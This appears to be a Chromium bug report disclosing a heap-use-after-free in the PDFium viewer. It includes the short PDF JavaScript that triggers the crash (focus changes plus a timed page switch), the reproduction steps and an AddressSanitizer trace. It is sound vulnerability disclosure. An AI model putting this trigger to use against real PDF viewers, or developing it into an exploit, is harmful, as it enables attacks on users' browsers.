VULNERABILITY DETAILS

 Bug 630654  can be reproduced again in a slightly different way.
I think the reason is that a fix given for that bug is modified to fix bug 645122 in below mentioned change set.

https://pdfium.googlesource.com/pdfium/+/c2d0e29cd8fa24c9af0cc4f2a15f90096a5ca8e2

Attached testcase.pdf file has below mentioned Javascript.

Lose Focus Action of "txt1" text field 
-----------------------------------
this.getField('txt2').setFocus();

Document Javascript Section
---------------------------
function test() {
  this.getField('txt1').setFocus();
  this.pageNum = 2;
}

app.setTimeOut("test()",3000);


VERSION
Chrome Version: [55.0.2879.0] + [TOT]
Operating System: [Ubuntu 16.04]

REPRODUCTION CASE
1. Open attached testcase.pdf file with chrome built with Address Sanitizer.
2. Wait 3 seconds.
PDF Plugin process will crash.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: [PDF Plugin process]
Crash State: [Address Sanitizer Output]

==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000270d8 at pc 0x55c6876942c5 bp 0x7ffda3d9eb40 sp 0x7ffda3d9eb38
READ of size 8 at 0x6040000270d8 thread T0 (chrome)
    #0 0x55c6876942c4 in __tree_next<std::__1::__tree_node_base<void *> *> ./out/asan/../../buildtools/third_party/libc++/trunk/include/__tree:149:14
    #1 0x55c6876942c4 in operator++ ./out/asan/../../buildtools/third_party/libc++/trunk/include/__tree:647:0
    #2 0x55c6876942c4 in erase ./out/asan/../../buildtools/third_party/libc++/trunk/include/__tree:1967:0
    #3 0x55c6876942c4 in erase ./out/asan/../../buildtools/third_party/libc++/trunk/include/map:1235:0
    #4 0x55c6876942c4 in RemovePageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:150:0
    #5 0x55c67d30d8b2 in Unload ./out/asan/../../pdf/pdfium/pdfium_page.cc:112:7
    #6 0x55c67d2e197a in CalculateVisiblePages ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2650:20
    #7 0x55c67d2e2394 in ScrolledToYPosition ./out/asan/../../pdf/pdfium/pdfium_engine.cc:895:3
    #8 0x55c67d3297b0 in HandleMessage ./out/asan/../../pdf/out_of_process_instance.cc:410:14
    #9 0x55c67d2ae6bd in Messaging_HandleMessage ./out/asan/../../ppapi/cpp/module.cc:141:13
.........

0x6040000270d8 is located 8 bytes inside of 48-byte region [0x6040000270d0,0x604000027100)
freed by thread T0 (chrome) here:
    #0 0x55c678910c5b in operator delete(void*) ??:?
    #1 0x55c68769424d in __deallocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/new:176:3
    #2 0x55c68769424d in deallocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/memory:1731:0
    #3 0x55c68769424d in deallocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/memory:1496:0
    #4 0x55c68769424d in erase ./out/asan/../../buildtools/third_party/libc++/trunk/include/__tree:1975:0
    #5 0x55c68769424d in erase ./out/asan/../../buildtools/third_party/libc++/trunk/include/map:1235:0
    #6 0x55c68769424d in RemovePageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:150:0
    #7 0x55c67d30d8b2 in Unload ./out/asan/../../pdf/pdfium/pdfium_page.cc:112:7
    #8 0x55c67d2e197a in CalculateVisiblePages ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2650:20
    #9 0x55c67d2fb6dd in GetMostVisiblePage ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2290:3
    #10 0x55c67d2de254 in Form_GetCurrentPage ./out/asan/../../pdf/pdfium/pdfium_engine.cc:3502:21
    #11 0x55c687b409ca in setFocus ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/Field.cpp:3207:15
    #12 0x55c687b5db93 in JSMethod<Field, &Field::setFocus> ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/JS_Define.h:155:8
    #13 0x55c679433fb2 in Call ./out/asan/../../v8/src/api-arguments.cc:19:3
    #14 0x55c6795ac128 in HandleApiCallHelper<false> ./out/asan/../../v8/src/builtins/builtins-api.cc:106:36
    #15 0x55c6795a98be in Builtin_Impl_HandleApiCall ./out/asan/../../v8/src/builtins/builtins-api.cc:135:5
    #11 0x7f87ff7843a6  (<unknown module>)
    #12 0x7f87ff884c41  (<unknown module>)
    #13 0x7f87ff7d06c2  (<unknown module>)
    #14 0x7f87ff7ac2a0  (<unknown module>)
    #16 0x55c679e9c6ea in Invoke ./out/asan/../../v8/src/execution.cc:139:13
    #17 0x55c679e9be92 in Call ./out/asan/../../v8/src/execution.cc:176:10
    #18 0x55c67944c6db in Run ./out/asan/../../v8/src/api.cc:1865:7
    #19 0x55c687ba37ca in Execute ./out/asan/../../third_party/pdfium/fxjs/fxjs_v8.cpp:477:25
    #20 0x55c687ad266c in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_runtime.cpp:241:14
    #21 0x55c687b9e29a in RunScript ./out/asan/../../third_party/pdfium/fpdfsdk/javascript/cjs_context.cpp:52:24
    #22 0x55c687690627 in ?? ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:522:28
    #23 0x55c6876914bd in ExecuteFieldAction ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:249:9
    #24 0x55c687691140 in DoAction_Field ./out/asan/../../third_party/pdfium/fpdfsdk/fsdk_actionhandler.cpp:105:10
    #25 0x55c6876b7ba1 in OnAAction ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_widget.cpp:1894:28
    #26 0x55c6876f764a in OnKillFocus ./out/asan/../../third_party/pdfium/fpdfsdk/formfiller/cffl_interactiveformfiller.cpp:461:18
    #27 0x55c687694a6c in KillFocusAnnot ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:229:24
    #28 0x55c687694159 in RemovePageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:146:14
    #29 0x55c67d30d8b2 in Unload ./out/asan/../../pdf/pdfium/pdfium_page.cc:112:7
    #30 0x55c67d2e197a in CalculateVisiblePages ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2650:20

previously allocated by thread T0 (chrome) here:
    #0 0x55c67891001b in operator new(unsigned long) ??:?
    #1 0x55c6876934fc in __allocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/new:168:10
    #2 0x55c6876934fc in allocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/memory:1729:0
    #3 0x55c6876934fc in allocate ./out/asan/../../buildtools/third_party/libc++/trunk/include/memory:1488:0
    #4 0x55c6876934fc in __construct_node_with_key ./out/asan/../../buildtools/third_party/libc++/trunk/include/map:1524:0
    #5 0x55c6876934fc in operator[] ./out/asan/../../buildtools/third_party/libc++/trunk/include/map:1541:0
    #6 0x55c687693200 in GetPageView ./out/asan/../../third_party/pdfium/fpdfsdk/cpdfsdk_document.cpp:60:3
    #7 0x55c6876867d3 in FormHandleToPageView ./out/asan/../../third_party/pdfium/fpdfsdk/fpdfformfill.cpp:56:29
    #8 0x55c6876867d3 in FORM_OnAfterLoadPage ./out/asan/../../third_party/pdfium/fpdfsdk/fpdfformfill.cpp:649:0
    #9 0x55c67d30db02 in GetPage ./out/asan/../../pdf/pdfium/pdfium_page.cc:127:7
    #10 0x55c67d2e8f91 in FinishLoadingDocument ./out/asan/../../pdf/pdfium/pdfium_engine.cc:1120:54
    #11 0x55c67d2fe4ba in ContinueLoadingDocument ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2563:5
    #12 0x55c67d2e764f in LoadDocument ./out/asan/../../pdf/pdfium/pdfium_engine.cc:2452:5
.................

 

Deleted: testcase.pdf 3.4 KB

testcase.pdf 3.4 KB Download